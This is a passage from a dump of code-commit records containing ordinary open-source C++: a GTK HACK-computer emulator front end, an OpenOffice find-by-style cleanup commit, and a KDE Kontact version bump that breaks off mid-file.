*window;\nGtkToolItem *button_load, *button_run, *button_pause;\n\nvoid load_clicked(GtkButton *button, gpointer user_data)\n{\n    bool loaded = false;\n\n    GtkWidget *dialog = gtk_file_chooser_dialog_new(\n        \"Load ROM\", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN,\n        \"gtk-cancel\", GTK_RESPONSE_CANCEL,\n        \"gtk-open\", GTK_RESPONSE_ACCEPT,\n        NULL);\n    if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_ACCEPT) {\n        char *filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog));\n        loaded = rom.load(filename);\n        g_free(filename);\n    }\n    gtk_widget_destroy(dialog);\n\n    if (!loaded) {\n        GtkWidget *dialog = gtk_message_dialog_new(GTK_WINDOW(window),\n            GTK_DIALOG_MODAL, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE,\n            \"Error loading program\");\n        gtk_dialog_run(GTK_DIALOG(dialog));\n        gtk_widget_destroy(dialog);\n    } else {\n        cpu.reset();\n        gtk_widget_set_sensitive(GTK_WIDGET(button_run), TRUE);\n    }\n}\n\ngpointer run_thread(gpointer user_data)\n{\n    int steps = 0;\n    while (running) {\n        cpu.step(&rom, ram);\n        if (steps>100) {\n            g_usleep(10);\n            steps = 0;\n        }\n        ++steps;\n    }\n    return NULL;\n}\nvoid run_clicked()\n{\n    assert(!running);\n\n    running = true;\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_visible(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), TRUE);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), TRUE);\n\n    g_thread_create(run_thread, NULL, FALSE, NULL);\n}\nvoid pause_clicked()\n{\n    assert(running);\n\n    running = false;\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), FALSE);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), TRUE);\n    gtk_widget_set_visible(GTK_WIDGET(button_run), TRUE);\n}\n\n\n\/\/ Translate special keys. See Figure 5.6 in TECS book.\nunsigned short translate(guint keyval)\n{\n    switch (keyval) {\n    case GDK_KEY_Return:    return 128;\n    case GDK_KEY_BackSpace: return 129;\n    case GDK_KEY_Left:      return 130;\n    case GDK_KEY_Up:        return 131;\n    case GDK_KEY_Right:     return 132;\n    case GDK_KEY_Down:      return 133;\n    case GDK_KEY_Home:      return 134;\n    case GDK_KEY_End:       return 135;\n    case GDK_KEY_Page_Up:   return 136;\n    case GDK_KEY_Page_Down: return 137;\n    case GDK_KEY_Insert:    return 138;\n    case GDK_KEY_Delete:    return 139;\n    case GDK_KEY_Escape:    return 140;\n    case GDK_KEY_F1:        return 141;\n    case GDK_KEY_F2:        return 142;\n    case GDK_KEY_F3:        return 143;\n    case GDK_KEY_F4:        return 144;\n    case GDK_KEY_F5:        return 145;\n    case GDK_KEY_F6:        return 146;\n    case GDK_KEY_F7:        return 147;\n    case GDK_KEY_F8:        return 148;\n    case GDK_KEY_F9:        return 149;\n    case GDK_KEY_F10:       return 150;\n    case GDK_KEY_F11:       return 151;\n    case GDK_KEY_F12:       return 152;\n    }\n    return keyval;\n}\n\n\ngboolean keyboard_callback(GtkWidget *widget, GdkEventKey *event, gpointer user_data)\n{\n    if (event->type == GDK_KEY_RELEASE) {\n        ram->keyboard(0);\n    } else {\n        ram->keyboard(translate(event->keyval));\n    }\n    return TRUE;\n}\n\n\nGtkToolItem *create_button(const gchar *stock_id, const gchar *text, GCallback callback)\n{\n    GtkToolItem *button = gtk_tool_button_new(NULL, text);\n    gtk_tool_button_set_icon_name(GTK_TOOL_BUTTON(button), stock_id);\n    gtk_tool_item_set_tooltip_text(button, text);\n    g_signal_connect(button, \"clicked\", callback, NULL);\n    return button;\n}\n\nint main(int argc, char *argv[])\n{\n    gtk_init(&argc, &argv);\n    ram = new GUIEmulatorRAM();\n\n    \/* toolbar buttons *\/\n    button_load    = create_button(\"document-open\",        \"Load...\", G_CALLBACK(load_clicked));\n    button_run     = create_button(\"media-playback-start\", \"Run\",     G_CALLBACK(run_clicked));\n    button_pause   = create_button(\"media-playback-pause\", \"Pause\",   G_CALLBACK(pause_clicked));\n\n    GtkToolItem *separator1 = gtk_separator_tool_item_new();\n\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), FALSE);\n\n    \/* toolbar itself *\/\n    GtkWidget *toolbar = gtk_toolbar_new();\n    gtk_widget_set_hexpand(toolbar, TRUE);\n    gtk_toolbar_set_style(GTK_TOOLBAR(toolbar), GTK_TOOLBAR_ICONS);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_load,  -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), separator1,   -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_run,   -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_pause, -1);\n\n    \/* keyboard *\/\n    GtkWidget *keyboard = gtk_toggle_button_new_with_label(\"Grab keyboard focus\");\n    gtk_widget_add_events(keyboard, GDK_KEY_PRESS_MASK | GDK_KEY_RELEASE_MASK);\n    g_signal_connect(keyboard, \"key-press-event\",   G_CALLBACK(keyboard_callback), NULL);\n    g_signal_connect(keyboard, \"key-release-event\", G_CALLBACK(keyboard_callback), NULL);\n\n    \/* main layout *\/\n    GtkWidget *grid = gtk_grid_new();\n    gtk_grid_attach(GTK_GRID(grid), toolbar, 0, 0, 1, 1);\n    gtk_grid_attach(GTK_GRID(grid), ram->getScreenWidget(), 0, 1, 1, 1);\n    gtk_grid_attach(GTK_GRID(grid), keyboard, 0, 2, 1, 1);\n\n    \/* main window *\/\n    window = gtk_window_new(GTK_WINDOW_TOPLEVEL);\n    gtk_window_set_title(GTK_WINDOW(window), \"HACK emulator\");\n    gtk_window_set_resizable(GTK_WINDOW(window), FALSE);\n    gtk_window_set_focus(GTK_WINDOW(window), NULL);\n    g_signal_connect(window, \"destroy\", G_CALLBACK (gtk_main_quit), NULL);\n    gtk_container_add(GTK_CONTAINER(window), grid);\n    gtk_widget_show_all(window);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), FALSE);\n\n    gtk_main();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>increase bfsdepth<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: findcoll.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 20:46:06 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n#ifndef _SWCRSR_HXX\n#include <swcrsr.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _PAMTYP_HXX\n#include <pamtyp.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _UNDOBJ_HXX\n#include <undobj.hxx>\n#endif\n#ifndef _COMCORE_HRC\n#include <comcore.hrc>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n\n\/\/------------------ Methoden der CrsrShell ---------------------------\n\n\/\/ Parameter fuer das Suchen vom FormatCollections\nstruct SwFindParaFmtColl : public SwFindParas\n{\n    const SwTxtFmtColl *pFmtColl, *pReplColl;\n    SwCursor& rCursor;\n    SwFindParaFmtColl( const SwTxtFmtColl& rFmtColl,\n                        const SwTxtFmtColl* pRpColl, SwCursor& rCrsr )\n        : pFmtColl( &rFmtColl ), pReplColl( pRpColl ), rCursor( rCrsr )\n    {}\n    virtual int Find( SwPaM* , SwMoveFn , const SwPaM*, FASTBOOL bInReadOnly );\n    virtual int IsReplaceMode() const;\n};\n\n\nint SwFindParaFmtColl::Find( SwPaM* pCrsr, SwMoveFn fnMove, const SwPaM* pRegion,\n                            FASTBOOL bInReadOnly )\n{\n    int nRet = FIND_FOUND;\n    if( bInReadOnly && pReplColl )\n        bInReadOnly = FALSE;\n\n    if( !pCrsr->Find( *pFmtColl, fnMove, pRegion, bInReadOnly ) )\n        nRet = FIND_NOT_FOUND;\n    else if( pReplColl )\n    {\n        pCrsr->GetDoc()->SetTxtFmtColl( *pCrsr, (SwTxtFmtColl*)pReplColl );\n        nRet = FIND_NO_RING;\n    }\n    return nRet;\n}\n\n\nint SwFindParaFmtColl::IsReplaceMode() const\n{\n    return 0 != pReplColl;\n}\n\n\n\/\/ Suchen nach Format-Collections\n\n\nULONG SwCursor::Find( const SwTxtFmtColl& rFmtColl,\n                    SwDocPositions nStart, SwDocPositions nEnde, BOOL& bCancel,\n                    FindRanges eFndRngs, const SwTxtFmtColl* pReplFmtColl )\n{\n    \/\/ OLE-Benachrichtigung abschalten !!\n    SwDoc* pDoc = GetDoc();\n    Link aLnk( pDoc->GetOle2Link() );\n    pDoc->SetOle2Link( Link() );\n\n    BOOL bSttUndo = pDoc->DoesUndo() && pReplFmtColl;\n    if( bSttUndo )\n    {\n        SwRewriter aRewriter;\n        aRewriter.AddRule(UNDO_ARG1, rFmtColl.GetName());\n        aRewriter.AddRule(UNDO_ARG2, SW_RES(STR_YIELDS));\n        aRewriter.AddRule(UNDO_ARG3, pReplFmtColl->GetName());\n\n        pDoc->StartUndo( UIUNDO_REPLACE_STYLE, &aRewriter );\n    }\n\n    SwFindParaFmtColl aSwFindParaFmtColl( rFmtColl, pReplFmtColl, *this );\n\n    ULONG nRet = FindAll( aSwFindParaFmtColl, nStart, nEnde, eFndRngs, bCancel );\n    pDoc->SetOle2Link( aLnk );\n\n    if( nRet && pReplFmtColl )\n        pDoc->SetModified();\n\n    if( bSttUndo )\n        pDoc->EndUndo( UIUNDO_REPLACE_STYLE, NULL );\n    return nRet;\n}\n\n\n\n<commit_msg>INTEGRATION: CWS swwarnings (1.8.222); FILE MERGED 2007\/04\/03 12:59:24 tl 1.8.222.2: #i69287# warning-free code 2007\/02\/22 15:06:23 tl 1.8.222.1: #i69287# warning-free code<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: findcoll.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: hr $ $Date: 2007-09-27 08:29:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n#ifndef _SWCRSR_HXX\n#include <swcrsr.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _PAMTYP_HXX\n#include <pamtyp.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _UNDOBJ_HXX\n#include <undobj.hxx>\n#endif\n#ifndef _COMCORE_HRC\n#include <comcore.hrc>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n\n\/\/------------------ Methoden der CrsrShell ---------------------------\n\n\/\/ Parameter fuer das Suchen vom FormatCollections\nstruct SwFindParaFmtColl : public SwFindParas\n{\n    const SwTxtFmtColl *pFmtColl, *pReplColl;\n    SwCursor& rCursor;\n    SwFindParaFmtColl( const SwTxtFmtColl& rFmtColl,\n                        const SwTxtFmtColl* pRpColl, SwCursor& rCrsr )\n        : pFmtColl( &rFmtColl ), pReplColl( pRpColl ), rCursor( rCrsr )\n    {}\n    virtual int Find( SwPaM* , SwMoveFn , const SwPaM*, BOOL bInReadOnly );\n    virtual int IsReplaceMode() const;\n};\n\n\nint SwFindParaFmtColl::Find( SwPaM* pCrsr, SwMoveFn fnMove, const SwPaM* pRegion,\n                            BOOL bInReadOnly )\n{\n    int nRet = FIND_FOUND;\n    if( bInReadOnly && pReplColl )\n        bInReadOnly = FALSE;\n\n    if( !pCrsr->Find( *pFmtColl, fnMove, pRegion, bInReadOnly ) )\n        nRet = FIND_NOT_FOUND;\n    else if( pReplColl )\n    {\n        pCrsr->GetDoc()->SetTxtFmtColl( *pCrsr, (SwTxtFmtColl*)pReplColl );\n        nRet = FIND_NO_RING;\n    }\n    return nRet;\n}\n\n\nint SwFindParaFmtColl::IsReplaceMode() const\n{\n    return 0 != pReplColl;\n}\n\n\n\/\/ Suchen nach Format-Collections\n\n\nULONG SwCursor::Find( const SwTxtFmtColl& rFmtColl,\n                    SwDocPositions nStart, SwDocPositions nEnde, BOOL& bCancel,\n                    FindRanges eFndRngs, const SwTxtFmtColl* pReplFmtColl )\n{\n    \/\/ OLE-Benachrichtigung abschalten !!\n    SwDoc* pDoc = GetDoc();\n    Link aLnk( pDoc->GetOle2Link() );\n    pDoc->SetOle2Link( Link() );\n\n    BOOL bSttUndo = pDoc->DoesUndo() && pReplFmtColl;\n    if( bSttUndo )\n    {\n        SwRewriter aRewriter;\n        aRewriter.AddRule(UNDO_ARG1, rFmtColl.GetName());\n        aRewriter.AddRule(UNDO_ARG2, SW_RES(STR_YIELDS));\n        aRewriter.AddRule(UNDO_ARG3, pReplFmtColl->GetName());\n\n        pDoc->StartUndo( UNDO_UI_REPLACE_STYLE, &aRewriter );\n    }\n\n    SwFindParaFmtColl aSwFindParaFmtColl( rFmtColl, pReplFmtColl, *this );\n\n    ULONG nRet = FindAll( aSwFindParaFmtColl, nStart, nEnde, eFndRngs, bCancel );\n    pDoc->SetOle2Link( aLnk );\n\n    if( nRet && pReplFmtColl )\n        pDoc->SetModified();\n\n    if( bSttUndo )\n        pDoc->EndUndo( UNDO_UI_REPLACE_STYLE, NULL );\n    return nRet;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  This file is part of KDE Kontact.\n\n  Copyright (c) 2001 Matthias Hoelzer-Kluepfel <mhk@kde.org>\n  Copyright (c) 2002-2003 Daniel Molkentin <molkentin@kde.org>\n\n  This program is free software; you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation; either version 2 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License along\n  with this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n*\/\n\n#include \"prefs.h\"\n#include \"reminderclient.h\"\n#include \"mainwindow.h\"\n#include \"plugin.h\"\n#include \"uniqueapphandler.h\"\n\n#include <pimapplication.h>\n\n#include <kaboutdata.h>\n#include <kcmdlineargs.h>\n#include <kdebug.h>\n#include <kiconloader.h>\n#include <klocale.h>\n#include <kstartupinfo.h>\n#include <kuniqueapplication.h>\n#include <kwindowsystem.h>\n#include <kstandarddirs.h>\n#include <ktoolinvocation.h>\n#include <kservicetypetrader.h>\n\n#include <QLabel>\n\n#include <iostream>\n\nusing namespace std;\n\nstatic const char description[] =\n  I18N_NOOP( \"KDE personal information manager\" );\n\nstatic const char version[] = \"1.4.2\";\n\n\n\nclass KontactApp : public\n#ifdef Q_WS_WIN\nKPIM::PimApplication\n#else\nKUniqueApplication\n#endif\n{\n  Q_OBJECT\n  public:\n    KontactApp() : mMainWindow( 0 ), mSessionRestored( false ) {\n      KIconLoader::global()->addAppDir( \"kdepim\" );\n    }\n    ~KontactApp() {}\n\n    \/*reimp*\/ int newInstance();\n\n    void setMainWindow( Kontact::MainWindow *window ) {\n        mMainWindow = window;\n        Kontact::UniqueAppHandler::setMainWidget( window );\n    }\n    void setSessionRestored( bool restored ) {\n        mSessionRestored = restored;\n    }\n\n  public Q_SLOTS:\n    void loadCommandLineOptionsForNewInstance();\n\n  private:\n    Kontact::MainWindow *mMainWindow;\n    bool mSessionRestored;\n};\n\nstatic void listPlugins()\n{\n  KComponentData instance( \"kontact\" ); \/\/Can't use KontactApp -- too late for adding cmdline opts\n\n  KService::List offers = KServiceTypeTrader::self()->query(\n    QString::fromLatin1( \"Kontact\/Plugin\" ),\n    QString( \"[X-KDE-KontactPluginVersion] == %1\" ).arg( KONTACT_PLUGIN_VERSION ) );\n  for ( KService::List::Iterator it = offers.begin(); it != offers.end(); ++it ) {\n    KService::Ptr service = (*it);\n    \/\/ skip summary only plugins\n    QVariant var = service->property( \"X-KDE-KontactPluginHasPart\" );\n    if ( var.isValid() && var.toBool() == false ) {\n      continue;\n    }\n    cout << service->library().remove( \"kontact_\" ).toLatin1().data() << endl;\n  }\n}\n\nstatic void loadCommandLineOptions()\n{\n  KCmdLineOptions options;\n  options.add( \"module <module>\", ki18n( \"Start with a specific Kontact module\" ) );\n  options.add( \"iconify\", ki18n( \"Start in iconified (minimized) mode\" ) );\n  options.add( \"list\", ki18n( \"List all possible modules and exit\" ) );\n  KCmdLineArgs::addCmdLineOptions( options );\n}\n\n\/\/ Called by KUniqueApplication\nvoid KontactApp::loadCommandLineOptionsForNewInstance()\n{\n  kDebug();\n  KCmdLineArgs::reset(); \/\/ forget options defined by other \"applications\"\n  loadCommandLineOptions(); \/\/ re-add the kontact options\n}\n\nint KontactApp::newInstance()\n{\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n  QString moduleName;\n  if ( Kontact::Prefs::self()->forceStartupPlugin() ) {\n    moduleName = Kontact::Prefs::self()->forcedStartupPlugin();\n  }\n  if ( args->isSet( \"module\" ) ) {\n    moduleName = args->getOption( \"module\" );\n  }\n  if ( !mSessionRestored ) {\n    if ( !mMainWindow ) {\n      mMainWindow = new Kontact::MainWindow();\n      if ( !moduleName.isEmpty() ) {\n        mMainWindow->setActivePluginModule( moduleName );\n      }\n      mMainWindow->show();\n      Kontact::UniqueAppHandler::setMainWidget( mMainWindow );\n      \/\/ --iconify is needed in kontact, although kstart can do that too,\n      \/\/ because kstart returns immediately so it's too early to talk D-Bus to the app.\n      if ( args->isSet( \"iconify\" ) ) {\n        KWindowSystem::minimizeWindow( mMainWindow->winId(), false \/*no animation*\/);\n      }\n    } else {\n      if ( !moduleName.isEmpty() ) {\n        mMainWindow->setActivePluginModule( moduleName );\n      }\n    }\n  }\n\n  KPIM::ReminderClient reminderclient;\n  reminderclient.startDaemon();\n\n  \/\/ Handle startup notification and window activation\n  \/\/ (The first time it will do nothing except note that it was called)\n  return KUniqueApplication::newInstance();\n}\n\nint main( int argc, char **argv )\n{\n  KAboutData about( \"kontact\", 0, ki18n( \"Kontact\" ), version, ki18n(description),\n                    KAboutData::License_GPL,\n                    ki18n( \"(C) 2001-2008 The Kontact developers\" ),\n                    KLocalizedString(), \"http:\/\/kontact.org\" );\n\n  about.addAuthor( ki18n( \"Allen Winter\" ), KLocalizedString(), \"winter@kde.org\" );\n  about.addAuthor( ki18n( \"Rafael Fernández López\" ), KLocalizedString(), \"ereslibre@kde.org\" );\n  about.addAuthor( ki18n( \"Daniel Molkentin\" ), KLocalizedString(), \"molkentin@kde.org\" );\n  about.addAuthor( ki18n( \"Don Sanders\" ), KLocalizedString(), \"sanders@kde.org\" );\n  about.addAuthor( ki18n( \"Cornelius Schumacher\" ), KLocalizedString(), \"schumacher@kde.org\" );\n  about.addAuthor( ki18n( \"Tobias K\\303\\266nig\" ), KLocalizedString(), \"tokoe@kde.org\" );\n  about.addAuthor( ki18n( \"David Faure\" ), KLocalizedString(), \"faure@kde.org\" );\n  about.addAuthor( ki18n( \"Ingo Kl\\303\\266cker\" ), KLocalizedString(), \"kloecker@kde.org\" );\n  about.addAuthor( ki18n( \"Sven L\\303\\274ppken\" ), KLocalizedString(), \"sven@kde.org\" );\n  about.addAuthor( ki18n( \"Zack Rusin\" ), KLocalizedString(), \"zack@kde.org\" );\n  about.addAuthor( ki18n( \"Matthias Hoelzer-Kluepfel\" ),\n                   ki18n( \"Original Author\" ), \"mhk@kde.org\" );\n  about.setOrganizationDomain( \"kde.org\" );\n\n  KCmdLineArgs::init( argc, argv, &about );\n\n  loadCommandLineOptions();\n  KUniqueApplication::addCmdLineOptions();\n  KCmdLineArgs::addStdCmdLineOptions();\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n  if ( args->isSet( \"list\" ) ) {\n    listPlugins();\n    return 0;\n  }\n\n  if ( !KontactApp::start() ) {\n    \/\/ Already running, brought to the foreground.\n    return 0;\n  }\n\n  KontactApp app;\n\n  \/\/ Qt doesn't treat the system tray as a window, and therefore Qt would quit\n  \/\/ the event loop when an error message is clicked away while Kontact is in the\n  \/\/ tray.\n  \/\/ Rely on KGlobal::ref() and KGlobal::deref() instead, like we did in KDE3.\n  \/\/ See http:\/\/bugs.kde.org\/show_bug.cgi?id=163479\n  QApplication::setQuitOnLastWindowClosed( false );\n\n  if ( app.restoringSession() ) {\n     \/\/ There can only be one main window\n    if ( KMainWindow::canBeRestored( 1 ) ) {\n      Kontact::MainWindow *mainWindow = new Kontact::MainWindow();\n      app.setMainWindow( mainWindow );\n      app.setSessionRestored( true );\n      mainWindow->show();\n      mainWindow->restore( 1 );\n    }\n  }\n\n  bool ret = app.exec();\n  qDeleteAll( KMainWindow::memberList() );\n\n  return ret;\n}\n\n#include \"main.moc\"\n<commit_msg>update version for 4.2.3<commit_after>\/*\n  This file is part of KDE Kontact.\n\n  Copyright (c) 2001 Matthias Hoelzer-Kluepfel <mhk@kde.org>\n  Copyright (c) 2002-2003 Daniel Molkentin <molkentin@kde.org>\n\n  This program is free software; you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation; either version 2 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License along\n  with this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n*\/\n\n#include \"prefs.h\"\n#include \"reminderclient.h\"\n#include \"mainwindow.h\"\n#include \"plugin.h\"\n#include \"uniqueapphandler.h\"\n\n#include <pimapplication.h>\n\n#include <kaboutdata.h>\n#include <kcmdlineargs.h>\n#include <kdebug.h>\n#include <kiconloader.h>\n#include <klocale.h>\n#include <kstartupinfo.h>\n#include <kuniqueapplication.h>\n#include <kwindowsystem.h>\n#include <kstandarddirs.h>\n#include <ktoolinvocation.h>\n#include <kservicetypetrader.h>\n\n#include <QLabel>\n\n#include <iostream>\n\nusing namespace std;\n\nstatic const char description[] =\n  I18N_NOOP( \"KDE personal information manager\" );\n\nstatic const char version[] = \"1.4.3\";\n\n\n\nclass KontactApp : public\n#ifdef Q_WS_WIN\nKPIM::PimApplication\n#else\nKUniqueApplication\n#endif\n{\n  Q_OBJECT\n  public:\n    KontactApp() : mMainWindow( 0 ), mSessionRestored( false ) {\n      KIconLoader::global()->addAppDir( \"kdepim\" );\n    }\n    ~KontactApp() {}\n\n    \/*reimp*\/ int newInstance();\n\n    void setMainWindow( Kontact::MainWindow *window ) {\n        mMainWindow = window;\n        Kontact::UniqueAppHandler::setMainWidget( window );\n    }\n    void setSessionRestored( bool restored ) {\n        mSessionRestored = restored;\n    }\n\n  public Q_SLOTS:\n    void loadCommandLineOptionsForNewInstance();\n\n  private:\n    Kontact::MainWindow *mMainWindow;\n    bool mSessionRestored;\n};\n\nstatic void listPlugins()\n{\n  KComponentData instance( \"kontact\" ); \/\/Can't use KontactApp -- too late for adding cmdline opts\n\n  KService::List offers = KServiceTypeTrader::self()->query(\n    QString::fromLatin1( \"Kontact\/Plugin\" ),\n    QString( \"[X-KDE-KontactPluginVersion] == %1\" ).arg( KONTACT_PLUGIN_VERSION ) );\n  for ( KService::List::Iterator it = offers.begin(); it != offers.end(); ++it ) {\n    KService::Ptr service = (*it);\n    \/\/ skip summary only plugins\n    QVariant var = service->property( \"X-KDE-KontactPluginHasPart\" );\n    if ( var.isValid() && var.toBool() == false ) {\n      continue;\n    }\n    cout << service->library().remove( \"kontact_\" ).toLatin1().data() << endl;\n  }\n}\n\nstatic void loadCommandLineOptions()\n{\n  KCmdLineOptions options;\n  options.add( \"module <module>\", ki18n( \"Start with a specific Kontact module\" ) );\n  options.add( \"iconify\", ki18n( \"Start in iconified (minimized) mode\" ) );\n  options.add( \"list\", ki18n( \"List all possible modules and exit\" ) );\n  KCmdLineArgs::addCmdLineOptions( options );\n}\n\n\/\/ Called by KUniqueApplication\nvoid KontactApp::loadCommandLineOptionsForNewInstance()\n{\n  kDebug();\n  KCmdLineArgs::reset(); \/\/ forget options defined by other \"applications\"\n  loadCommandLineOptions(); \/\/ re-add the kontact options\n}\n\nint KontactApp::newInstance()\n{\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n  QString moduleName;\n  if ( Kontact::Prefs::self()->forceStartupPlugin() ) {\n    moduleName = Kontact::Prefs::self()->forcedStartupPlugin();\n  }\n  if ( args->isSet( \"module\" ) ) {\n    moduleName = args->getOption( \"module\" );\n  }\n  if ( !mSessionRestored ) {\n    if ( !mMainWindow ) {\n      mMainWindow = new Kontact::MainWindow();\n      if ( !moduleName.isEmpty() ) {\n        mMainWindow->setActivePluginModule( moduleName );\n      }\n      mMainWindow->show();\n      Kontact::UniqueAppHandler::setMainWidget( mMainWindow );\n      \/\/ --iconify is needed in kontact, although kstart can do that too,\n      \/\/ because kstart returns immediately so it's too early to talk D-Bus to the app.\n      if ( args->isSet( \"iconify\" ) ) {\n        KWindowSystem::minimizeWindow( mMainWindow->winId(), false \/*no animation*\/);\n      }\n    } else {\n      if ( !moduleName.isEmpty() ) {\n        mMainWindow->setActivePluginModule( moduleName );\n      }\n    }\n  }\n\n  KPIM::ReminderClient reminderclient;\n  reminderclient.startDaemon();\n\n  \/\/ Handle startup notification and window activation\n  \/\/ (The first time it will do nothing except note that it was called)\n  return KUniqueApplication::newInstance();\n}\n\nint main( int argc, char **argv )\n{\n  KAboutData about( \"kontact\", 0, ki18n( \"Kontact\" ), version, ki18n(description),\n                    KAboutData::License_GPL,\n                    ki18n( \"(C) 2001-2008 The Kontact developers\" ),\n                    KLocalizedString(), \"http:\/\/kontact.org\" );\n\n  about.addAuthor( ki18n( \"Allen Winter\" ), KLocalizedString(), \"winter@kde.org\" );\n  about.addAuthor( ki18n( \"Rafael Fernández López\" ), KLocalizedString(), \"ereslibre@kde.org\" );\n  about.addAuthor( ki18n( \"Daniel Molkentin\" ), KLocalizedString(), \"molkentin@kde.org\" );\n  about.addAuthor( ki18n( \"Don Sanders\" ), KLocalizedString(), \"sanders@kde.org\" );\n  about.addAuthor( ki18n( \"Cornelius Schumacher\" ), KLocalizedString(), \"schumacher@kde.org\" );\n  about.addAuthor( ki18n( \"Tobias K\\303\\266nig\" ), KLocalizedString(), \"tokoe@kde.org\" );\n  about.addAuthor( ki18n( \"David Faure\" ), KLocalizedString(), \"faure@kde.org\" );\n  about.addAuthor( ki18n( \"Ingo Kl\\303\\266cker\" ), KLocalizedString(), \"kloecker@kde.org\" );\n  about.addAuthor( ki18n( \"Sven L\\303\\274ppken\" ), KLocalizedString(), \"sven@kde.org\" );\n  about.addAuthor( ki18n( \"Zack Rusin\" ), KLocalizedString(), \"zack@kde.org\" );\n  about.addAuthor( ki18n( \"Matthias Hoelzer-Kluepfel\" ),\n                   ki18n( \"Original Author\" ), \"mhk@kde.org\" );\n  about.setOrganizationDomain( \"kde.org\" );\n\n  KCmdLineArgs::init( argc, argv, &about );\n\n  loadCommandLineOptions();\n  KUniqueApplication::addCmdLineOptions();\n  KCmdLineArgs::addStdCmdLineOptions();\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n  if ( args->isSet( \"list\" ) ) {\n    listPlugins();\n    return 0;\n  }\n\n  if ( !KontactApp::start() ) {\n    \/\/ Already running, brought to the foreground.\n    return 0;\n  }\n\n  KontactApp app;\n\n  \/\/ Qt doesn't treat the system tray as a 